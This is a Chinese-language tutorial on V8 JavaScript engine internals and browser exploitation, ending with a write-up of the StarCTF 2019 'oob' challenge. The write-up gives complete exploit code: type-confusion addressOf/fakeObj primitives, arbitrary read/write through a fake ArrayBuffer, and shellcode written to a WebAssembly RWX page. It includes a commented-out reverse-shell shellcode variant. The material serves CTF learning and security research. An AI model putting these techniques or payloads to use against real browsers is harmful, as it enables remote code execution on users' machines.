背景知识
浏览器框架
它是⼀个多进程+IPC的程序, 不同的进程管理不同的内容,
browser process
: 主进程rander process
: 负责控制渲染内容GPU process
: 负责渲染内容utility process
: 标签⻚进程plugin process
: 插件进程
每个插件, 每个标签页都是单独的进程, 有属于自己的PID
JS 引擎
各浏览器对应的 js 引擎:
V8
是 chrome 的 JS Engine ,同时也是 Node.js 的 JS Engine 。V8调试接口非常丰富,基本上可以给你任何你想要的信息。- safari 的 js 引擎是
webkit
, 除了 safari , 很多 appstore 的程序也都用 webkit 。 - edge 以前用的是
chakracore
, 现在用v8
了。chakracore
几乎已经被淘汰了(代码量小,适合学习) firefox
用的是spidermonkey
JS引擎流水线机制
js 引擎(javascript engine): 处理⼀些 js 语⾔时, 通常是先把网页代码下载下来, 浏览器来解析, 浏览器解析 js 语
句, 达到指定的效果, 浏览器可以说是 js 语⾔的解释器.
parser
:- 将 js 源代码变成 AST(抽象语法树)
- 检查错误的语法
- 为生成 bytecode (字节码)做准备
interpreter
: 解释器, 可以理解成⼀个自定义的虚拟机(⼀个很大很大的 switch case 分支, 对每个 case 有不同的操作符)- 将 AST 转化为 Bytecode
- 解析执行 Bytecode
- 和
parser
可以组成⼀个完整的 JS Engine
JIT Compiler
(optimizing compiler
): Just In time编译器Interpreter
执行 bytecode 很慢, JIT 编译器用于优化"Hot Function"(被执行了很多次的函数, 很热门的函数)- 搜集函数调用时的实参类型(因为 js 是⼀个弱类型语言, 所以直接丢给
interpreter
解析时会出现大量分支) - 如果收集到了可以被 JIT 优化的代码, 就会被丢到 optmizing compiler 的分支中 让 JIT 做优化,如果后续突然参数类型不⼀样了, 那么就 deoptimize (去优化), 重新执行 bytecode . 然后 bytecode 又可以收集类型… 然后依次循环。
常见 JS 引擎架构
V8
(Chrome)
SpiderMonkey
(FireFox)
Chakra Core
(Edge)
Webkit
(safari)
相关资料
- 漏洞网站
- 源码网站
环境搭建
虚拟机版本为 ubuntu 18.04
编译 v8
首先下载用于 Chromium
开发的工具 depot_tools
。这个工具用于 v8
的编译。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
将 depot_tools
添加到环境变量 PATH
的末尾
export PATH=$PATH:<path to depot_tools>
挂好代理,进入到 depot_tools
。直接安装会 ninja
报错需要先将版本回退到 138bff28
** 并且将 DEPOT_TOOLS_UPDATE
设为 0 。之后更新 depot_tools
。
git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient
出现以下界⾯说明更新成功
下载 v8
,这个时间比较长,下载完后目录下会多一个 v8
文件夹。
fetch v8
根据题目需求 git checkout
切换 v8
版本,然后 gclient sync -D
下载相关依赖,-D
会删除不需要的依赖。
cd v8
git checkout 7.6.303.28
gclient sync -D
-
如果题目给的是一个 Chrome 浏览器那么首先安装浏览器然后再网址栏中输入
chrome://version
查看版本,例如:112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)
打开 github 的 chrome 项目,搜索版本号并切换至相应版本。
然后在项目根目录下的DEPS
文件中查看V8
版本:
-
如果题目给了
diff
文件需要将 patch 到项目中。对 git 不熟的 patch 前建议先拍快照。git apply ./oob.diff
之后安装相关依赖,如果遇到下载字体未响应问题需要添加 --no-chromeos-fonts
参数。
./build/install-build-deps.sh
编译 v8
,这里选的 release
版本。debug
版本改为 x64.debug
,32 为版本将 x64
改为 ia32
。如果调试漏洞的话, 最好选择 release
版本 因为 debug
版本可能会有很多检
查。
另外如果出现路径错误需要切换到 ./tools/dev/
路径再进行编译。
./tools/dev/gm.py x64.release
完成后是这个样子
编译生成的 d8
在 ./out/x64.release/d8
中。
调试 v8
在 ~/.gdbinit
添加 v8
的调试插件:
source <path to v8>/tools/gdbinit
source <path to v8>/gdb-v8-support.py
常见参数:
--allow-natives-syntax
开启原生API (用的比较多)--trace-turbo
跟踪生成TurboFan IR--print-bytecode
打印生成的bytecode--shell
运行脚本后切入交互模式- 更多参数可以参考
--help
调试 js 脚本时可以采用如下命令:
gdb ./d8
r --allow-natives-syntax --shell ./exp.js
js中常见的⼀些调试技巧:
- 在js中写⼊断点:
%SystemBreak();
,如果不在调试模式的话, 程序直接中断, 如果在调试器中, 会被调试器识别到
并且断下来。 - 打印出对象的地址和对应的信息:
%DebugPrint(var_name);
- 调试时输入
job + DebugPrint打印的对象地址
可以打印出对象的结构。
浏览器利用常用的class
数组 Array
- 数组是JS最常用的class之一,它可以存放任意类型的js object。
- 有一个
length
属性,可以通过下标来线性访问它的每一个元素。 - 有许多可以修改元素的接口。
- 当元素为object时,只保留指针。
ArrayBuffer 和 DataView
ArrayBuffer
ArrayBuffer
对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer
不能直接操作,而是要通过类型数组对象或 DataView
对象来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容。
- 语法
new ArrayBuffer(length)
- 参数
length
要创建的ArrayBuffer
的大小,单位为字节。
- 返回值:一个指定大小的
ArrayBuffer
对象,其内容被初始化为0
。
DataView
DataView
是一个可以从 ArrayBuffer
对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
-
语法
new DataView(buffer [, byteOffset [, byteLength]])
-
参数
buffer
:一个ArrayBuffer
或SharedArrayBuffer
对象,DataView
对象的数据源。byteOffset
(可选):此DataView
对象的第一个字节在buffer
中的偏移。如果未指定,则默认从第一个字节开始。byteLength
(可选):此DataView
对象的字节长度。如果未指定,则默认与buffer
的长度相同。
-
返回值:一个
DataView
对象,用于呈现指定的缓存区数据。你可以把返回的对象想象成一个二进制array buffer
的“解释器”——它知道如何在读取或写入时正确地转换字节码。这意味着它能在二进制层面处理整数与浮点转化、字节顺序等其他有关的细节问题。
举例
例如下面这段代码
var ab = new ArrayBuffer(0x100);
var dv = new DataView(ab);
dv.setUint32(0, 0xdeadbeef, true);
console.log(dv.getUint16(2, true));
%DebugPrint(dv);
%SystemBreak();
这段代码输出结果是 57005 ,即 0xdead 。
WASM(WebAssembly)
-
顾名思义,是Asm on the web 。但其实不是真正意义上的汇编,只是更加接近汇编。
-
常用接口有
WebAssembly.Module()
:创建一个新的 WebAssembly 模块对象。WebAssembly.Instance()
:创建一个新的 WebAssembly 实例对象。WebAssembly.Memory()
:创建一个新的 WebAssembly 内存对象。WebAssembly.Table()
:创建一个新的 WebAssembly 表格对象。
-
最重要的特点:可以在 Javascript Engine 的地址空间中导入一块可读可写可执行的内存页。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports.main; %SystemBreak();
V8 的 object 通用结构
Object
可以拥有任意属性- 属性名可以是数字和字母的组合
- 名字为数字的属性被称作
element
,其他的被称作property
Hidden Class (Map)
Hidden Class
也被称作 Object Map
,简称 Map
。位于 V8 O bject
的第一个 8 字节。
任何由 v8 gc
管理的 Js Object
,它的前 8 个字节(或者在 32 位上是前四个字节)都是⼀个指向 Map
的指针。
Map
中比较重要的字段是一个指向 DescriptorArray
的指针,里面包含有关name properties的信息,例如属性名和存储属性值的位置。
具有相同 Map
的两个 JS object
,就代表具有相同的类型(即具有以相同顺序命名的相同属性),比较 Map
的地址即可确定类型是否⼀致,同理,替换掉 Map
就可以进行类型混淆。
在一些利用中,可以通过伪造 Type
字段来伪造 Map
。
Properties
Properties
用于保持非数字索引的属性,分为 Inline Property
,Fast Properties
和 Dictionary Properties
。
Inline Property
即 in-object proterty
,存放在 object
本身,而不是在 Properties
指针指向的内存,需要 Descriptor Array
。
Fast Properties
Fast Properties
线性保存在 Properties
指针指向的内存中,需要 Descriptor Array
。
Dictionary Properties
Dictionary Properties
即 Slow Properties
,以哈希表的形式保存在 Properties
指针指向的内存中,不需要 Descriptor Array
。
Elements
Elements
用于保存数字索引的属性。
Packed Elements & Holey Elements
如果各个属性之间连续,那么可以直接开一个数组(下标从 0 开始)来表示 Elements
,如果有的下标没有对应的属性则数组中该下标对应的值为一个特殊值,此时这个 Elements
被称为 Holey Elements
。如果数组中每个下标都对应属性则这个 Elements
被称为 Packed Elements
。
例如下面这个脚本:
const a = ['a', 'b', 'c'];
%DebugPrint(a);
%SystemBreak();
delete a[1];
console.log(a[1]);
%SystemBreak();
a.__proto__ = {1: 'B', 2: "C"};
console.log(a[0]);
console.log(a[1]);
console.log(a[2]);
console.log(a[3]);
%SystemBreak();
调试结果如下:
0x37815f38bba9 <JSArray[3]>
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
- map: 0x39d6446c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1b0fcc0517a1 <JSArray[0]>
- elements: 0x37815f38bb21 <FixedArray[3]> [PACKED_ELEMENTS (COW)]
- length: 3
- properties: 0x010c0d5c0c21 <FixedArray[0]> {
#length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37815f38bb21 <FixedArray[3]> {
0: 0x010c0d5c74b1 <String[#1]: a>
1: 0x010c0d5c7571 <String[#1]: b>
2: 0x1b0fcc05f4f9 <String[#1]: c>
}
...
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
- map: 0x39d6446c30b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1b0fcc0517a1 <JSArray[0]>
- elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
- length: 3
- properties: 0x010c0d5c0c21 <FixedArray[0]> {
#length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37815f38bbc9 <FixedArray[3]> {
0: 0x010c0d5c74b1 <String[#1]: a>
1: 0x010c0d5c05b1 <the_hole>
2: 0x1b0fcc05f4f9 <String[#1]: c>
}
...
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
- map: 0x39d6446ca599 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x37815f38bbf1 <Object map = 0x39d6446ca639>
- elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
- length: 3
- properties: 0x010c0d5c0c21 <FixedArray[0]> {
#length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37815f38bbc9 <FixedArray[3]> {
0: 0x010c0d5c74b1 <String[#1]: a>
1: 0x010c0d5c05b1 <the_hole>
2: 0x1b0fcc05f4f9 <String[#1]: c>
}
pwndbg> job 0x37815f38bbf1
0x37815f38bbf1: [JS_OBJECT_TYPE]
- map: 0x39d6446ca639 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x1b0fcc042091 <Object map = 0x39d6446c0229>
- elements: 0x37815f38bc29 <FixedArray[19]> [HOLEY_ELEMENTS]
- properties: 0x37815f38bd01 <NameDictionary[17]> {
}
- elements: 0x37815f38bc29 <FixedArray[19]> {
0: 0x010c0d5c05b1 <the_hole>
1: 0x1b0fcc05f551 <String[#1]: B>
2: 0x1b0fcc05f581 <String[#1]: C>
3-18: 0x010c0d5c05b1 <the_hole>
}
Fast Elements & Dictionary Elements
Fast Elements
和 Dictionary Elements
的区别是存储方式是线性保存还是词典保存。 Dictionary Elements
主要用于 Holey Element
特别多的情况。
常见类型结构
处理通用对象外,v8 还内置了一些常见类型。
在 v8 源码的 v8/src/objects/objects.h
中有对 v8 各种类型之间继承关系的描述。
Most object types in the V8 JavaScript are described in this file.
Inheritance hierarchy:
- Object
- Smi (immediate small integer)
- TaggedIndex (properly sign-extended immediate small integer)
- HeapObject (superclass for everything allocated in the heap)
- JSReceiver (suitable for property access)
- JSObject
- JSArray
- TemplateLiteralObject
- JSArrayBuffer
- JSArrayBufferView
- JSTypedArray
- JSDataView
- JSCollection
- JSSet
- JSMap
- JSCustomElementsObject (may have elements despite empty FixedArray)
- JSSpecialObject (requires custom property lookup handling)
- JSGlobalObject
- JSGlobalProxy
- JSModuleNamespace
- JSPrimitiveWrapper
- JSDate
- JSFunctionOrBoundFunctionOrWrappedFunction
- JSBoundFunction
- JSFunction
- JSWrappedFunction
- JSGeneratorObject
- JSMapIterator
- JSMessageObject
- JSRegExp
- JSSetIterator
- JSShadowRealm
- JSSharedStruct
- JSStringIterator
- JSTemporalCalendar
- JSTemporalDuration
- JSTemporalInstant
- JSTemporalPlainDate
- JSTemporalPlainDateTime
- JSTemporalPlainMonthDay
- JSTemporalPlainTime
- JSTemporalPlainYearMonth
- JSTemporalTimeZone
- JSTemporalZonedDateTime
- JSWeakCollection
- JSWeakMap
- JSWeakSet
- JSCollator // If V8_INTL_SUPPORT enabled.
- JSDateTimeFormat // If V8_INTL_SUPPORT enabled.
- JSDisplayNames // If V8_INTL_SUPPORT enabled.
- JSDurationFormat // If V8_INTL_SUPPORT enabled.
- JSListFormat // If V8_INTL_SUPPORT enabled.
- JSLocale // If V8_INTL_SUPPORT enabled.
- JSNumberFormat // If V8_INTL_SUPPORT enabled.
- JSPluralRules // If V8_INTL_SUPPORT enabled.
- JSRelativeTimeFormat // If V8_INTL_SUPPORT enabled.
- JSSegmenter // If V8_INTL_SUPPORT enabled.
- JSSegments // If V8_INTL_SUPPORT enabled.
- JSSegmentIterator // If V8_INTL_SUPPORT enabled.
- JSV8BreakIterator // If V8_INTL_SUPPORT enabled.
- WasmExceptionPackage
- WasmTagObject
- WasmGlobalObject
- WasmInstanceObject
- WasmMemoryObject
- WasmModuleObject
- WasmTableObject
- WasmSuspenderObject
- JSProxy
- FixedArrayBase
- ByteArray
- BytecodeArray
- FixedArray
- HashTable
- Dictionary
- StringTable
- StringSet
- CompilationCacheTable
- MapCache
- OrderedHashTable
- OrderedHashSet
- OrderedHashMap
- FeedbackMetadata
- TemplateList
- TransitionArray
- ScopeInfo
- SourceTextModuleInfo
- ScriptContextTable
- ClosureFeedbackCellArray
- FixedDoubleArray
- PrimitiveHeapObject
- BigInt
- HeapNumber
- Name
- String
- SeqString
- SeqOneByteString
- SeqTwoByteString
- SlicedString
- ConsString
- ThinString
- ExternalString
- ExternalOneByteString
- ExternalTwoByteString
- InternalizedString
- SeqInternalizedString
- SeqOneByteInternalizedString
- SeqTwoByteInternalizedString
- ConsInternalizedString
- ExternalInternalizedString
- ExternalOneByteInternalizedString
- ExternalTwoByteInternalizedString
- Symbol
- Oddball
- Context
- NativeContext
- Cell
- DescriptorArray
- PropertyCell
- PropertyArray
- InstructionStream
- AbstractCode, a wrapper around Code or BytecodeArray
- GcSafeCode, a wrapper around Code
- Map
- Foreign
- SmallOrderedHashTable
- SmallOrderedHashMap
- SmallOrderedHashSet
- SharedFunctionInfo
- Struct
- AccessorInfo
- AsmWasmData
- PromiseReaction
- PromiseCapability
- AccessorPair
- AccessCheckInfo
- InterceptorInfo
- CallHandlerInfo
- EnumCache
- TemplateInfo
- FunctionTemplateInfo
- ObjectTemplateInfo
- Script
- DebugInfo
- BreakPoint
- BreakPointInfo
- CallSiteInfo
- CodeCache
- PropertyDescriptorObject
- PromiseOnStack
- PrototypeInfo
- Microtask
- CallbackTask
- CallableTask
- PromiseReactionJobTask
- PromiseFulfillReactionJobTask
- PromiseRejectReactionJobTask
- PromiseResolveThenableJobTask
- Module
- SourceTextModule
- SyntheticModule
- SourceTextModuleInfoEntry
- StackFrameInfo
- FeedbackCell
- FeedbackVector
- PreparseData
- UncompiledData
- UncompiledDataWithoutPreparseData
- UncompiledDataWithPreparseData
- SwissNameDictionary
Formats of Object::ptr_: Smi: [31 bit signed int] 0
HeapObject: [32 bit direct pointer] (4 byte aligned) | 01
Smi
所有不超过 0x7FFFFFFF 的整数都以 Smi
的形式存储。
- 在 32 位上可以表示有符号的 31 位的整数,通过右移一位可以获得原始值。
- 在 64 位上可以表示有符号的32位的整数,通过右移 32 位可以获得原始值
HeapObject 指针
最低位为 1 表示指向 HeapObject
的指针。
- 32 位
- 64位
- 指针压缩
在 V8 高版本中会基于数据 4GB 对齐所有指针高 32 位相同而只保留低 32 位而指针(类似于32位下的 HeapObject 指针),而基址存放在 r13 寄存器指向的内存中,从而节省空间。
在地址泄露的时候可以将指针覆盖成 0 这样就可以泄露基址附近的数据,从而泄露基址。
Heap Number
表示不能在 Smi
范围内表⽰的整数,均以 double 值的形式保存在 Heap Number
的 Value
里。
String
保存字符串对象,具体结构各版本之间可能存在差异。
JSArray
继承自 Object
,HeapObject
,JSReceiver
。
v8 的 JSArray
遵循图中格的变化,从左到右,从上到下,不可逆。
规律:
- 存在
Smi
和浮点数则都用浮点数表示 - 存在
Object
类型则都用Object
类型表示。
在实际的漏洞利用中,我们常构造出 double array 和 obj array 的类型混淆,从而构建 addrof 和 fakeobj 原语。
JSArrayBuffer
JSArrayBuffer
,顾名思义,就是保存有⼀个被称作 BackingStore
的 buffer 的对象。
在 V8 中,对象通常被存放在由 V8 GC 管理的 mapped 区域,然而 BackingStore
是⼀个不被 V8 GC 管理的区域,(事实上它在 Chrome 里是由 PartitionAlloc 来管理,在 d8 里则是用 ptmalloc 来模拟管理),此外,由于它不是由 GC 管理的 HeapObject
,因 此指向 BackingStore
的指针不是 Tagged Value
(末尾不能为1)。
- 虽然在
ArrayBuffer
中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出BackingStore
数组的范围。
同样,如果也可以重写BackingStore
指针,则可以读取和写入任意内存地址,这些是在 exploit 中常用的方法。
JSTypedArray
由于 JSArrayBuffer
实际上只是持有 BackingStore
指针的对象,换句话说,它只是⼀个 buffer ,所以在 js 的设计⾥,对 BackStore
的读写需要依赖于 TypedArray
或者 DataView
。
在漏洞利用时通常使用 JSTypedArray
进行整型和浮点数类型的转换。
var ab = new ArrayBuffer(0x8);
var f64 = new Float64Array(ab);
var i64 = new BigUint64Array(ab);
function d2u(val) {
f64[0] = val;
return i64[0];
}
function u2d(val) {
i64[0] = val;
return f64[0];
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
// let val = "0x1145141919810";
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));
// 1.501041597677047e-309
// 0x0001145141919810
JSDataView
也是用来读写 ArrayBuffer
的 BackingStore
的内容的对象,在 exploit 里常用作最后的任意地址读写原语的构造。
利用 JDataView
实现的类型转换:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));
StarCTF 2019 OOB
附件下载链接
漏洞分析
观察 oob.diff
发现增加了如下功能,即任意数组可以以浮点数类型越界读写 8 字节。
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
泄露 Map
调试发现 JSArray
在内存中的结构如下图所示:
因此可以通过 oob
泄露 Map
地址。
var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();
print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));
类型混淆
通过 oob
修改 Map
构造实现浮点数数组和 objec t数组的类型混淆,进而构造 addressOf
和 fakeObj
两个利用原语。
addressOf
:传入一个 object , 返回它的地址,实现对任意 object 的地址泄漏。fakeObj
:传入一个地址,我们把这个地址指向的内存当做一个 object , 并将它返回。实现对任意 object 的伪造。
function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
function fakeObj(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
任意地址读写
任意地址读写如果用 DoubleArray
实现会有如下问题:
- 在数组进行元素访问时,它会和这个堆的基地址做一个 mask 的操作,保证了这个
elements
指针指向的内存段时属于 v8 的堆的范围。 - 在对伪造的浮点数数组进行操作的时候,触发了收集 Inline Cache 的函数,导致 SIGTRAP 。
DoubleArray
构造的任意地址读写只能读写elements + 0x10
,并且还会访问[elements, elements + 0x10)
范围内的数据,而如果是在 rwx 段写 shellcode 需要从起始位置开始写,因此不能用DoubleArray
构造的任意地址读写完成。
因此这里需要使用 ArrayBuffer
和 DataView
来构造任意地址读写。
首先在 DoubleArray
中构造一个 fake ArrayBuffer
,之后就可以通过 DoubleArray
修改 BackingStore
指针来进行任意地址读写。
var fake_ab_mem = [
u2d(0n), // Map
u2d(0n), // Propertries
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // type
];
var fake_ab_addr = addressOf(fake_ab_mem) + 0x58n;
fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObj(fake_ab_addr);
var dv = new DataView(fake_ab);
function arbitrary_address_read(address) {
fake_ab_mem[4] = u2d(address);
return dv.getBigUint64(0, true);
}
function arbitrary_address_write(address, value) {
fake_ab_mem[4] = u2d(address);
return dv.setBigUint64(0, value, true);
}
写入 shellcode
利用 WebAssembly
开辟 rwx 段。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
利用任意地址读泄露 rwx 段基址。
var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
写入 shellcode 并调用 WebAssembly
对应函数执行 shellcode 。
var shellcode = [
0x9090909090909090n,
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
// var shellcode=[
// 0x6a5f026a9958296an,
// 0xb9489748050f5e01n,
// 0x0100007f39300002n,
// 0x6a5a106ae6894851n,
// 0x485e036a050f582an,
// 0x75050f58216aceffn,
// 0x2fbb4899583b6af6n,
// 0x530068732f6e6962n,
// 0xe689485752e78948n,
// 0x000000000000050fn]
//nc -lvvp 12345
for (let i = 0; i < shellcode.length; i++) {
arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();